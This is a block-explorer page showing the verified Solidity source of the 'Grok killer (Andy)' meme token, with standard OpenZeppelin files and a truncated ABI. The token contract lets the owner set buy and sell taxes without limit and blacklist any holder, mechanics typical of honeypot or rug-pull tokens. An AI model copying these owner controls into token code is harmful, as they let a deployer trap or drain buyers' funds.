ETH Price: $2,425.41 (+3.25%)
Gas: 1.36 Gwei

Token

Grok killer (Andy)
 

Overview

Max Total Supply

6,900,000,000 Andy

Holders

7

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
0.508350238738870265 Andy

Value
$0.00
0xc63c86f9742657ad1d92ae942f5ce43243777777
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Andy

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
File 1 of 7 : Andy.sol
// SPDX-License-Identifier: MIT
//Telegram: https://t.me/GrokkillerEth
//Twitter: https://twitter.com/grokkillereth

pragma solidity ^0.8.0;


import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";


interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
        function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to
    ) external;

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}



contract Andy is Ownable, ERC20 {
    mapping(address => bool) public blacklists;
    mapping (address => bool) private excludedFromFee;
    address public marketing = 0x304ADfbdF79cC45DAeFe0b75D04913d8bD0a97Cf;
    address public WETH;
    uint256 public beginBlock = 0;
    uint256 public secondBlock = 300;
    uint256 public thirdlyBlock = 600;
    uint256 public buyTax = 0;
    uint256 public sellTax = 0;
    uint256 public limitNumber;
    uint256 public swapNumber;
    bool public blimit = true;
    bool public swapEth = true;
    address public uniswapV2Pair;
    IRouter public _router;


    constructor() ERC20("Grok killer", "Andy")  Ownable(msg.sender) {
        uint256 totalSupply = 6900000000 * 10**18;
        _mint(msg.sender, totalSupply);

        _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
        WETH = _router.WETH();

        limitNumber = totalSupply / 100;
        swapNumber = totalSupply / 300;

        ERC20(WETH).approve(address(_router), type(uint256).max);
        _approve(address(this), address(_router), type(uint256).max);
        _approve(owner(), address(_router), type(uint256).max);
    }

    function _transfer(address from, address to, uint256 amount) internal override {
        require(!blacklists[to] && !blacklists[from], "Blacklisted");

        if(uniswapV2Pair == to && beginBlock == 0) {
            beginBlock = block.timestamp;
        }

        if(from == owner() 
        || from == marketing
        || from == address(_router)
        || excludedFromFee[from]
        || excludedFromFee[to]
        || to == owner() 
        || to == marketing
        || to == address(_router)
        || from == address(this)
        || to == address(this)) {
            super._transfer(from, to, amount);
            return;
        }

        if(uniswapV2Pair ==  from || uniswapV2Pair ==  to) {
            if(blimit && uniswapV2Pair ==  from && address(_router) != to){
                require((amount + balanceOf(to)) < limitNumber, "limit");
            }
            uint256 tax = 0;
            if(block.timestamp < (beginBlock + secondBlock)) {
                if(uniswapV2Pair ==  from) {
                    tax = 30;
                }else{
                    tax = 40;
                }
            } else if(block.timestamp < (beginBlock + thirdlyBlock)) {
                if(uniswapV2Pair ==  from) {
                    tax = 10;
                }else{
                    tax = 20;
                }
            }else{
                if(uniswapV2Pair ==  from) {
                    tax = buyTax;
                }else{
                    tax = sellTax;
                }
            }
            uint256 t = tax * amount / 100;
            super._transfer(from, address(this), t);
            if(!inSwap) {
                swapfee();
            }
            super._transfer(from, to, amount - t);
            return;
        }
        super._transfer(from, to, amount);
    }

    bool private inSwap;
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    function swapfee() private lockTheSwap {
        uint256 balance = balanceOf(address(this));
        if(balance > swapNumber) {
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = WETH;
            _router.swapExactTokensForTokensSupportingFeeOnTransferTokens(balance, 0, path, marketing, block.timestamp);
        }
    }

    function setlimit(bool _limit, uint256 _limitNumber) external onlyOwner {
        blimit = _limit;
        limitNumber = _limitNumber;
    }

    function setBuyTax(uint256 _tax) external onlyOwner {
        buyTax = _tax;   
    }

    function setSellTax(uint256 _tax) external onlyOwner {
        sellTax = _tax;   
    }


    function setSwapEth(bool isSwapEth) public onlyOwner {
        swapEth = isSwapEth;
    }

    function setSwapNumber(uint256 _swapNumber)  external onlyOwner {
        swapNumber = _swapNumber;
    }

    function setExcludedFromFee(address _address, bool _excluded) external onlyOwner {
        excludedFromFee[_address] = _excluded;
    }

    function setExcludedFromFeeList(address[] calldata addresses, bool _excluded) external onlyOwner {
        for (uint256 i = 0; i < addresses.length; i++) {
            excludedFromFee[addresses[i]] = _excluded;
        }
    }

    function blacklist(address _address, bool _isBlacklisting) external onlyOwner {
        blacklists[_address] = _isBlacklisting;
    }

    function setblacklist(address[] calldata addresses, bool _isBlacklisting) public onlyOwner {
        for (uint256 i = 0; i < addresses.length; i++) {
            blacklists[addresses[i]] = _isBlacklisting;
        }
    }

    function multiTransfer(address[] calldata addresses, uint256[] calldata amounts) public {
        require(addresses.length < 801, "GAS Error: max airdrop limit is 500 addresses");
        require(addresses.length == amounts.length, "Mismatch between Address and token count");

        uint256 sum = 0;
        for (uint256 i = 0; i < addresses.length; i++) {
            sum = sum + amounts[i];
        }

        require(balanceOf(msg.sender) >= sum, "Not enough amount in wallet");
        for (uint256 i = 0; i < addresses.length; i++) {
            _transfer(msg.sender, addresses[i], amounts[i]);
        }
    }

    function multiTransfer_fixed(address[] calldata addresses, uint256 amount) public {
        require(addresses.length < 2001, "GAS Error: max airdrop limit is 2000 addresses");

        uint256 sum = amount * addresses.length;
        require(balanceOf(msg.sender) >= sum, "Not enough amount in wallet");

        for (uint256 i = 0; i < addresses.length; i++) {
            _transfer(msg.sender, addresses[i], amount);
        }
    }

    function errorToken(address _token) external onlyOwner {
        ERC20(_token).transfer(msg.sender, IERC20(_token).balanceOf(address(this)));
    }
    
    function withdawOwner(uint256 amount) public onlyOwner {
        payable(msg.sender).transfer(amount);
    }

    receive () external payable  {
    }
}

File 2 of 7 : ERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.20;

import {IERC20} from "./IERC20.sol";
import {IERC20Metadata} from "./extensions/IERC20Metadata.sol";
import {Context} from "../../utils/Context.sol";
import {IERC20Errors} from "../../interfaces/draft-IERC6093.sol";

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {decimals} is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 */
abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
    mapping(address account => uint256) private _balances;

    mapping(address account => mapping(address spender => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `value`.
     */
    function transfer(address to, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `value` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, value);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `value`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `value`.
     */
    function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, value);
        _transfer(from, to, value);
        return true;
    }

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function _transfer(address from, address to, uint256 value) internal virtual {
        if (from == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        if (to == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(from, to, value);
    }

    /**
     * @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`
     * (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding
     * this function.
     *
     * Emits a {Transfer} event.
     */
    function _update(address from, address to, uint256 value) internal virtual {
        if (from == address(0)) {
            // Overflow check required: The rest of the code assumes that totalSupply never overflows
            _totalSupply += value;
        } else {
            uint256 fromBalance = _balances[from];
            if (fromBalance < value) {
                revert ERC20InsufficientBalance(from, fromBalance, value);
            }
            unchecked {
                // Overflow not possible: value <= fromBalance <= totalSupply.
                _balances[from] = fromBalance - value;
            }
        }

        if (to == address(0)) {
            unchecked {
                // Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
                _totalSupply -= value;
            }
        } else {
            unchecked {
                // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
                _balances[to] += value;
            }
        }

        emit Transfer(from, to, value);
    }

    /**
     * @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0).
     * Relies on the `_update` mechanism
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function _mint(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(address(0), account, value);
    }

    /**
     * @dev Destroys a `value` amount of tokens from `account`, lowering the total supply.
     * Relies on the `_update` mechanism.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead
     */
    function _burn(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        _update(account, address(0), value);
    }

    /**
     * @dev Sets `value` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     *
     * Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.
     */
    function _approve(address owner, address spender, uint256 value) internal {
        _approve(owner, spender, value, true);
    }

    /**
     * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.
     *
     * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by
     * `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any
     * `Approval` event during `transferFrom` operations.
     *
     * Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to
     * true using the following override:
     * ```
     * function _approve(address owner, address spender, uint256 value, bool) internal virtual override {
     *     super._approve(owner, spender, value, true);
     * }
     * ```
     *
     * Requirements are the same as {_approve}.
     */
    function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
        if (owner == address(0)) {
            revert ERC20InvalidApprover(address(0));
        }
        if (spender == address(0)) {
            revert ERC20InvalidSpender(address(0));
        }
        _allowances[owner][spender] = value;
        if (emitEvent) {
            emit Approval(owner, spender, value);
        }
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `value`.
     *
     * Does not update the allowance value in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Does not emit an {Approval} event.
     */
    function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            if (currentAllowance < value) {
                revert ERC20InsufficientAllowance(spender, currentAllowance, value);
            }
            unchecked {
                _approve(owner, spender, currentAllowance - value, false);
            }
        }
    }
}

File 3 of 7 : Ownable.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (access/Ownable.sol)

pragma solidity ^0.8.20;

import {Context} from "../utils/Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * The initial owner is set to the address provided by the deployer. This can
 * later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    /**
     * @dev The caller account is not authorized to perform an operation.
     */
    error OwnableUnauthorizedAccount(address account);

    /**
     * @dev The owner is not a valid owner account. (eg. `address(0)`)
     */
    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
     */
    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

File 4 of 7 : draft-IERC6093.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol)
pragma solidity ^0.8.20;

/**
 * @dev Standard ERC20 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC20 tokens.
 */
interface IERC20Errors {
    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC20InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC20InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     * @param allowance Amount of tokens a `spender` is allowed to operate with.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC20InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `spender` to be approved. Used in approvals.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC20InvalidSpender(address spender);
}

/**
 * @dev Standard ERC721 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC721 tokens.
 */
interface IERC721Errors {
    /**
     * @dev Indicates that an address can't be an owner. For example, `address(0)` is a forbidden owner in EIP-20.
     * Used in balance queries.
     * @param owner Address of the current owner of a token.
     */
    error ERC721InvalidOwner(address owner);

    /**
     * @dev Indicates a `tokenId` whose `owner` is the zero address.
     * @param tokenId Identifier number of a token.
     */
    error ERC721NonexistentToken(uint256 tokenId);

    /**
     * @dev Indicates an error related to the ownership over a particular token. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param tokenId Identifier number of a token.
     * @param owner Address of the current owner of a token.
     */
    error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC721InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC721InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     * @param tokenId Identifier number of a token.
     */
    error ERC721InsufficientApproval(address operator, uint256 tokenId);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC721InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC721InvalidOperator(address operator);
}

/**
 * @dev Standard ERC1155 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC1155 tokens.
 */
interface IERC1155Errors {
    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     * @param tokenId Identifier number of a token.
     */
    error ERC1155InsufficientBalance(address sender, uint256 balance, uint256 needed, uint256 tokenId);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC1155InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC1155InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     * @param owner Address of the current owner of a token.
     */
    error ERC1155MissingApprovalForAll(address operator, address owner);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC1155InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC1155InvalidOperator(address operator);

    /**
     * @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation.
     * Used in batch transfers.
     * @param idsLength Length of the array of token identifiers
     * @param valuesLength Length of the array of token amounts
     */
    error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);
}

File 5 of 7 : Context.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (utils/Context.sol)

pragma solidity ^0.8.20;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

File 6 of 7 : IERC20Metadata.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.20;

import {IERC20} from "../IERC20.sol";

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

File 7 of 7 : IERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.20;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the
     * allowance mechanism. `value` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"WETH","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"beginBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_isBlacklisting","type":"bool"}],"name":"blacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"blacklists","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"blimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"}],"name":"errorToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"limitNumber","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketing","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"name":"multiTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"multiTransfer_fixed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"secondBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"setBuyTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_excluded","type":"bool"}],"name":"setExcludedFromFee","outputs":[],